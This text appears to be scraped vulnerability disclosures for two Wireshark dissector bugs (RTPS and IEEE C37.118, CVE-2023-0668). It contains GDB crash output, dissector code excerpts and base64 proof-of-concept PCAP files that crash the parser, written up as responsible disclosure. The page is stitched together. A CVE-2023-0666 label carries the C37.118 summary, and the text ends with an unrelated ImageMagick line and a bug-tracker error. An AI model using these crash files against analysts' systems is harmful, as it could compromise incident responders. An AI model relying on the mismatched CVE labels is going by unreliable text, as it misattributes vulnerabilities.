Reproduction: Run tshark -r rtps_trigger.pcap or open rtps_trigger.pcap in Wireshark. Note that an ASAN build is not required due to the way the PCAP was crafted.

Full output from running under GDB:

    (gdb) run -r ~/rtps_trigger.pcap
    Starting program: /usr/bin/tshark -r ~/rtps_trigger.pcap
    
    This GDB supports auto-downloading debuginfo from the following URLs:
    https://debuginfod.ubuntu.com
    Enable debuginfod for this session? (y or [n]) n
    Debuginfod has been disabled.
    To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    [New Thread 0x7fffebcdd6c0 (LWP 125835)]
    [Thread 0x7fffebcdd6c0 (LWP 125835) exited]
    [New Thread 0x7fffebcdd6c0 (LWP 125836)]
    [Thread 0x7fffebcdd6c0 (LWP 125836) exited]
        1   0.000000 192.168.0.231 → 192.168.0.214 TCP 54 2603 → 9187 [SYN] Seq=0 Win=8192 Len=0
        2   0.000363 192.168.0.214 → 192.168.0.231 TCP 54 9187 → 2603 [SYN, ACK] Seq=0 Ack=0 Win=8192 Len=0
        3   0.000611 192.168.0.231 → 192.168.0.214 TCP 54 2603 → 9187 [ACK] Seq=1 Ack=0 Win=8192 Len=0
        4   0.000853 192.168.0.231 → 192.168.0.214 RTPS 1454 DATA_deprecated[Malformed Packet]
    
    Thread 1 "tshark" received signal SIGSEGV, Segmentation fault.
    wmem_block_split_free_chunk (allocator=0x5555555bf660, chunk=0x7fffe9f44fb0, size=<optimized out>) at ./wsutil/wmem/wmem_allocator_block.c:614
    614     ./wsutil/wmem/wmem_allocator_block.c: No such file or directory.
    (gdb) x/5i $pc
    => 0x7ffff088db1b <wmem_block_split_free_chunk+267>:    mov    QWORD PTR [rsi+0x10],rax
       0x7ffff088db1f <wmem_block_split_free_chunk+271>:    mov    QWORD PTR [r8+0x8],rax
       0x7ffff088db23 <wmem_block_split_free_chunk+275>:    jmp    0x7ffff088da9b <wmem_block_split_free_chunk+139>
       0x7ffff088db28 <wmem_block_split_free_chunk+280>:    nop    DWORD PTR [rax+rax*1+0x0]
       0x7ffff088db30 <wmem_block_split_free_chunk+288>:    mov    rax,QWORD PTR [rcx+0x10]
    (gdb) p (char[]) $rsi
    $1 = "AHA!AHA!"
    

A Base64 encoded blob of an example PCAP that can trigger the issue is below.

\[expand\]

    1MOyoQIABAAAAAAAAAAAAP//AAABAAAAW+1JZDkZDgA2AAAANgAAAHRGoNgQS3RGo
    CvQ6AgARQAAKAABAABABvfBwKgA58CoANYKKyPjAAC1rAAAAABQAiAAKRoAAFvtSW
    SkGg4ANgAAADYAAAB0RqAr0Oh0RqDYEEsIAEUAACgAAQAAQAb3wcCoANbAqADnI+M
    KKwAAAAEAALWsUBIgACkJAABb7UlknBsOADYAAAA2AAAAdEag2BBLdEagK9DoCABF
    AAAoAAEAAEAG98HAqADnwKgA1gorI+MAALWtAAAAAVAQIAApCgAAW+1JZI4cDgCuB
    QAArgUAAHRGoNgQS3RGoCvQ6AgARQAFoAABAABABvJJwKgA58CoANYKKyPjAAC1rQ
    AAAAJQGCAA7yIAAAAACJBSVFBTAgABAQAAAAAAAQkBEjRWeAIbeABSZWFkV3JpdJh
    2VDIQ/ty6EjRWeN6tur5FZ4kKuqqqrRD+3LpyAEwAAQAAAAYAAABGaQABDgAAAAIA
    AAARIjNEVWZ3iJmqu8zd7v8WFxgZICEiIyQBAgMEBQYHCAkQERITFBUWFxgZICEiI
    yQDAAAARXhwAAEAAABBYTBBYTFBYTJBYTNBYTRBYTVBYTZBYTdBYThBYTlBYjBBYj
    FBYjJBYjNBYjRBYjVBYjZBYjdBYjhBYjlBYzBBYzFBYzJBYzNBYzRBYzVBYzZBYzd
    BYzhBYzlBZDBBZDFBZDJBZDNBZDRBZDVBZDZBZDdBZDhBZDlBZTBBZTFBZTJBZTNB
    ZTRBZTVBZTZBZTdBZThBZTlBZjBBZjFBZjJBZjNBZjRBZjVBZjZBZjdBZjhBZjlBZ
    zBBZzFBZzJBZzNBZzRBZzVBZzZBZzdBZzhBZzlBaAAEAABBaDJBaDNBaDRBaDVBaD
    ZBaDdBaDhBaDlBaTBBaTFBaTJBaTNBaTRBaTVBaTZBaTdBaThBaTlBajBBajFBajJ
    BajNBajRBajVBajZBajdBajhBajlBazBBazFBazJBazNBazRBazVBazZBazdBazhB
    azlBbDBBbDFBbDJBbDNBbDRBbDVBbDZBbDdBbDhBbDlBbTBBbTFBbTJBbTNBbTRBb
    TVBbTZBbTdBbThBbTlBbjBBbjFBbjJBbjNBbjRBbjVBbjZBbjdBbjhBbjlBbzBBbz
    FBbzJBbzNBbzRBbzVBbzZBbzdBbzhBbzlBcDBBcDFBcDJBcDNBcDRBcDVBcDZBcDd
    BcDhBcDlBcTBBcTFBcTJBcTNBcTRBcTVBcTZBcTdBcThBcTlBcjBBcjFBSEEhQUhB
    ITRBcjVBcjZBcjdBcjhBcjlBczBBczFBczJBczNBczRBczVBczZBczdBczhBczlBd
    DBBdDFBdDJBdDNBdDRBdDVBdDZBdDdBdDhBdDlBdTBBdTFBdTJBdTNBdTRBdTVBdT
    ZBdTdBdThBdTlBdjBBdjFBdjJBdjNBdjRBdjVBdjZBdjdBdjhBdjlBdzBBdzFBdzJ
    BdzNBdzRBdzVBdzZBdzdBdzhBdzlBeDBBeDFBeDJBeDNBeDRBeDVBeDZBeDdBeDhB
    eDlBeTBBeTFBeTJBeTNBeTRBeTVBeTZBeTdBeThBeTlBejBBejFBejJBejNBejRBe
    jVBejZBejdBejhBejlCYTBCYTFCYTJCYTNCYTRCYTVCYTZCYTdCYThCYTlCYjBCYj
    FCYjJCYjNCYjRCYjVCYjZCYjdCYjhCYjlCYzBCYzFCYzJCYzNCYzRCYzVCYzZCYzd
    CYzhCYzlCZDBCZDFCZDJCZDNCZDRCZDVCZDZCZDdCZDhCZDlCZTBCZTFCZTJCZTNC
    ZTRCZTVCZTZCZTdCZThCZTlCZjBCZjFCZjJCZjNCZjRCZjVCZjZCZjdCZjhCZjlCZ
    zBCZzFCZzJCZzNCZzRCZzVCZzZCZzdCZzhCZzlCaDBCaDFCaDJCaDNCaDRCaDVCaD
    ZCaDdCaDhCaDlCaTBCQWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWI
    xQWIyQWIzQWI0QWI1QWI2QWI3QWI4QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3
    QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3QWQ4QWQ5QWUwQWUxQWUyQWUzQ
    WU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2QWY3QWY4QWY5QW
    cwQWcxQWcyQWczQWc0QWc1QWc2QWc3QWc4QWc5QWgwQWgxQWgyQWgzQWg0QWg1W+1
    JZBUeDgA2AAAANgAAAHRGoCvQ6HRGoNgQSwgARQAAKAABAABABvfBwKgA1sCoAOcj
    4worAAAAAgAAuyVQECAAI5EAAFvtSWQAHw4AUgMAAFIDAAB0RqDYEEt0RqAr0OgIA
    EUAA0QAAQAAQAb0pcCoAOfAqADWCisj4wAAuyUAAAACUBggAG1hAABBaDZBaDdBaD
    hBaDlBaTBBaTFBaTJBaTNBaTRBaTVBaTZBaTdBaThBaTlBajBBajFBajJBajNBajR
    BajVBajZBajdBajhBajlBazBBazFBazJBazNBazRBazVBazZBazdBazhBazlBbDBB
    bDFBbDJBbDNBbDRBbDVBbDZBbDdBbDhBbDlBbTBBbTFBbTJBbTNBbTRBbTVBbTZBb
    TdBbThBbTlBbjBBbjFBbjJBbjNBbjRBbjVBbjZBbjdBbjhBbjlBbzBBbzFBbzJBbz
    NBbzRBbzVBbzZBbzdBbzhBbzlBcDBBcDFBcDJBcDNBcDRBcDVBcDZBcDdBcDhBcDl
    BcTBBcTFBcTJBcTNBcTRBcTVBcTZBcTdBcThBcTlBcjBBcjFBSEEhQUhBITRBcjVB
    cjZBcjdBcjhBcjlBczBBczFBczJBczNBczRBczVBczZBczdBczhBczlBdDBBdDFBd
    DJBdDNBdDRBdDVBdDZBdDdBdDhBdDlBdTBBdTFBdTJBdTNBdTRBdTVBdTZBdTdBdT
    hBdTlBdjBBdjFBdjJBdjNBdjRBdjVBdjZBdjdBdjhBdjlBdzBBdzFBdzJBdzNBdzR
    BdzVBdzZBdzdBdzhBdzlBeDBBeDFBeDJBeDNBeDRBeDVBeDZBeDdBeDhBeDlBeTBB
    eTFBeTJBeTNBeTRBeTVBeTZBeTdBeThBeTlBejBBejFBejJBejNBejRBejVBejZBe
    jdBejhBejlCYTBCYTFCYTJCYTNCYTRCYTVCYTZCYTdCYThCYTlCYjBCYjFCYjJCYj
    NCYjRCYjVCYjZCYjdCYjhCYjlCYzBCYzFCYzJCYzNCYzRCYzVCYzZCYzdCYzhCYzl
    CZDBCZDFCZDJCZDNCZDRCZDVCZDZCZDdCZDhCZDlCZTBCZTFCZTJCZTNCZTRCZTVC
    ZTZCZTdCZThCZTlCZjBCZjFCZjJCZjNCZjRCZjVCZjZCZjdCZjhCZjlCZzBCZzFCZ
    zJCZzNCZzRCZzVCZzZCZzdCZzhCZzlCaDBCaDFCaDJCaDNCaDRCaDVCaDZCaDdCaD
    hCaDlCaTBCW+1JZHggDgA2AAAANgAAAHRGoCvQ6HRGoNgQSwgARQAAKAABAABABvf
    BwKgA1sCoAOcj4worAAAAAgAAvkFQECAAIHUAAA==
    

\[/expand\]

**Attacker Value**

By providing this poisoned RTPS packet, an attacker could hijack the user account of an analyst running Wireshark. Many security appliances capture packets as a matter of course for later analysis, and Wireshark is a common tool used by incident responders. So, it would be trivial for an attacker to intentionally “get caught” in order to provide their malicious packet to an incident response analyst. Once compromised, this can provide an attacker a unique, privileged position in the targeted network.

**Credit**

This issue is being disclosed through the AHA! CNA and is credited to: Austin Hackers Anonymous!

**Timeline**

Note, while we expected to publicly disclose this issue in early July (60 days after disclosure to The Wireshark Foundation), the vendor publicized the issue on May 22nd in issue 19085.

*   2023-04-27 (Wed): Initial findings presented at the regularly scheduled meeting 0x00c7.
*   2023-05-17 (Wed): PoC validated and analysis completed for disclosure.
*   2023-05-18 (Thu): Disclosed to the vendor via email at \[email protected\].
*   2023-05-18 (Thu): Vendor acknowledged, and opened issue 19085 to address.
*   2023-05-21 (Sun): Patch merged to the release-4.0 branch of Wireshark.
*   2023-05-22 (Mon): Issue 19085 made public by the vendor.
*   2023-05-24 (Wed): CVE-2023-0666 fixed in Wireshark version 4.0.6
*   2023-06-06 (Tue): Public disclosure of CVE-2023-0666

CVE-2023-0666: CVE-2023-0666 🤘 • Austin Hackers Academy

Due to failure in validating the length provided by an attacker-crafted IEEE-C37.118 packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark.

**CVE-2023-0668: Wireshark IEEE-C37.118 parsing buffer overflow**

AHA! has discovered an issue with Wireshark from The Wireshark Foundation, and is issuing this disclosure in accordance with AHA!’s standard disclosure policy today, on Monday, June 5, 2023. CVE-2023-0668 has been assigned to this issue.

**Executive Summary**

Due to failure in validating the length provided by an attacker-crafted IEEE-C37.118 packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark. CVE-2023-0668 appears to be an instance of CWE-125.

**Technical Details**

This crash is caused by an out of bounds read from the global buffer conf_phasor_type

\*\* Note the below array contains 17 items

wireshark/epan/dissectors/packet-synphasor.c

     363 static const value_string conf_phasor_type[] = {               
     364         { 0, "Voltage, Zero sequence"           },
     365         { 1, "Voltage, Positive sequence"       },
     366         { 2, "Voltage, Negative sequence"       },
     367         { 3, "Voltage, Reserved"                },                
     368         { 4, "Voltage, Phase A"                 },                
     369         { 5, "Voltage, Phase B"                 },
     370         { 6, "Voltage, Phase C"                 },
     371         { 7, "Voltage, Reserved"                },
     372         { 8, "Current, Zero sequence"           },
     373         { 9, "Current, Positive sequence"       },
     374         { 10, "Current, Negative sequence"      },
     375         { 11, "Current, Reserved"               },
     376         { 12, "Current, Phase A"                },
     377         { 13, "Current, Phase B"                },
     378         { 14, "Current, Phase C"                },
     379         { 15, "Current, Reserved"               },
     380         {  0, NULL                              }
     381 };
    

In dissect_PHSCALE (which can be found in the top frame of the stack trace.) on line 1214, the tvb_get_guint8 function is used to retrieve 1 byte from the synphasor packet payload, and then uses that value as an index into the conf_phasor_type array without performing any bounds checks.

wireshark/epan/dissectors/packet-synphasor.c

    1190 static gint dissect_PHSCALE(tvbuff_t *tvb, proto_tree *tree, gint offset, gint cnt)
    1191 {       
    1192         proto_tree *temp_tree;
    1193         gint i;
    1194 
    1195         if (0 == cnt) {
    1196                 return offset;
    1197         }
    1198 
    1199         temp_tree = proto_tree_add_subtree_format(tree, tvb, offset, 12 * cnt, ett_conf_phconv, NULL,
    1200                                                   "Phasor scaling and data flags (%u)", cnt);
    1201         
    1202         for (i = 0; i < cnt; i++) {
    1203                 proto_tree *single_phasor_scaling_and_flags_tree;
    1204                 proto_tree *phasor_flag1_tree;
    1205                 proto_tree *phasor_flag2_tree;
    1206                 proto_tree *data_flag_tree;
    1207 
    1208                 single_phasor_scaling_and_flags_tree = proto_tree_add_subtree_format(temp_tree, tvb, offset, 12,
    1209                                                                                      ett_conf_phlist, NULL,
    1210                                                                                      "Phasor #%u", i + 1);
    1211         
    1212                 data_flag_tree = proto_tree_add_subtree_format(single_phasor_scaling_and_flags_tree, tvb, offset, 4,
    1213                                                                ett_conf_phflags, NULL, "Phasor Data flags: %s",
    1214                                                                conf_phasor_type[tvb_get_guint8(tvb, offset + 2)].strptr);
    1215         
    1216                 /* first and second bytes - phasor modification flags*/
    1217                 phasor_flag1_tree = proto_tree_add_subtree_format(data_flag_tree, tvb, offset, 2, ett_conf_phmod_flags,
    1218                                                                   NULL, "Modification Flags: 0x%04x",
    1219                                                                   tvb_get_ntohs(tvb, offset));
    1220         
    

A Base64 encoded blob of an example PCAP that can trigger the issue is below.

    1MOyoQIABAAAAAAAAAAAAP9/AAD8AAAAAAAAAAAAAAAdAQAAHQEAAAAOAAh1ZHAuc
    G9ydAAgAAQAABJpAAAAAKpZAKpZAAIAAADxQgAUAAAAAQAAAAIALAAAAAAAAAAAAA
    9CQP8vAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAsAAAAAAAAAAA
    AD0JA/y8AAAAAAAAAAAUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4rAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    BRQkgUAAD3EwD/AAAAAAAAAAAAIQAAABERAQD///8AAA==
    

**Attacker Value**

By providing this poisoned IEEE C37.118 packet, an attacker could hijack the user account of an analyst running Wireshark. Many security appliances capture packets as a matter of course for later analysis, and Wireshark is a common tool used by incident responders. So, it would be trivial for an attacker to intentionally “get caught” in order to provide their malicious packet to an incident response analyst. Once compromised, this can provide an attacker a unique, privileged position in the targeted network.

**Credit**

This issue is being disclosed through the AHA! CNA and is credited to: zenofex and WanderingGlitch

**Timeline**

Note, while we expected to publicly disclose this issue in early July (60 days after disclosure to The Wireshark Foundation), the vendor publicized the issue on May 22nd in issue 19087.

*   2023-04-27 (Wed): Initial findings presented at the regularly scheduled meeting 0x00c7.
*   2023-05-17 (Wed): PoC validated and analysis completed for disclosure.
*   2023-05-18 (Thu): Disclosed to the vendor via email at \[email protected\].
*   2023-05-18 (Thu): Vendor acknowledged, and opened issue 19087 to address.
*   2023-05-21 (Sun): Patch merged to the release-3.6 and release-4.0 branches of Wireshark.
*   2023-05-22 (Mon): Issue 19087 made public by the vendor.
*   2023-05-24 (Wed): CVE-2023-0668 fixed in Wireshark version 4.0.6
*   2023-06-06 (Tue): Public disclosure of CVE-2023-0668

CVE-2023-0668: CVE-2023-0668 • Austin Hackers Academy

A heap-based buffer overflow vulnerability was found in the ImageMagick package that can lead to the application crashing.

'2208537?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

Tag

#buffer_overflow